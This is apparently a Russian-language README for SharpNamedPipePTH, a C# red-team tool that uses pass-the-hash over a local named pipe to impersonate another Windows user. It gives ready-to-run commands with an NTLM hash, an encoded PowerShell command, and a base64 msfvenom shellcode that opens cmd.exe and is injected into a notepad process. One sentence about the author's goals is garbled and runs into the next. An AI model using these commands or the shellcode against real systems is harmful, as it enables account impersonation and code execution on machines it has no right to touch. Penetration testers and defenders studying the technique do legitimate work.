
Pass the Hash в именованный канал для имитации токена
Этот проект представляет собой инструмент на C# для использования Pass-the-Hash для аутентификации по локальному именованному каналу (Named Pipe) с целью олицетворения пользователя. Для его использования требуются права локального администратора или SEImpersonate. Подробности описаны в статье в блоге:
https://s3cur3th1ssh1t.github.io/Named-Pipe-PTH/
Он во многом основан на коде из проекта Sharp-SMBExec.
В прошлом я сталкивался с ситуациями в рамках проектов Offensive Security, когда у меня уже был NTLM-хэш учётной записи пользователя с низкими привилегиями и требовалась оболочка для этого пользователя на текущей скомпрометированной системе, но это было невозможно с помощью существующих публичных инструментов. Представьте ещё два факта для подобной ситуации: NTLM-хэш невозможно взломать и нет процесса пользователя-жертвы, в который можно внедрить шелл-код или мигрировать. Для некоторых это может звучать как абсурдный пограничный случай. Тем не менее, я сталкивался с этим неоднократно. Не в одном задании я потратил много времени на поиск правильного инструмента/техники в этой конкретной ситуации.
Мои личные цели для инструмента/техники были такими:
низкими привилегиями — в зависимости от целей задания может потребоваться доступ к системе с определённым пользователем, таким как CEO, HR, SAP-администраторы и другиеК сожалению, олицетворённый пользователь не имеет разрешения на сетевую аутентификацию, так как новый процесс использует токен олицетворения с ограничениями. Таким образом, эту технику можно применять только для локальных действий с другим пользователем.
Есть два способа использования SharpNamedPipePTH. Либо вы можете выполнить бинарный файл (с аргументами или без них):
SharpNamedPipePTH.exe username:testing hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:C:\windows\system32\cmd.exe
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 binary:"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" arguments:"-nop -w 1 -sta -enc bgBvAHQAZQBwAGEAZAAuAGUAeABlAAoA"
Или вы можете выполнить шелл-код от имени другого пользователя:
SharpNamedPipePTH.exe username:testing domain:localhost hash:7C53CFA5EA7D0F9B3B968AA0FB51A3F5 shellcode:/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY21kLmV4ZQA=
Что эквивалентно msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=threadmsfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread | base64 -w0.
Я пока не доволен выполнением шелл-кода, так как на данный момент он запускает notepad от имени олицетворённого пользователя и внедряет шелл-код в этот новый процесс через D/Invoke CreateRemoteThread Syscall. Я всё ещё ищу возможность запустить процесс в фоновом режиме или выполнить шелл-код без необходимости выделения памяти в процессе целевого пользователя.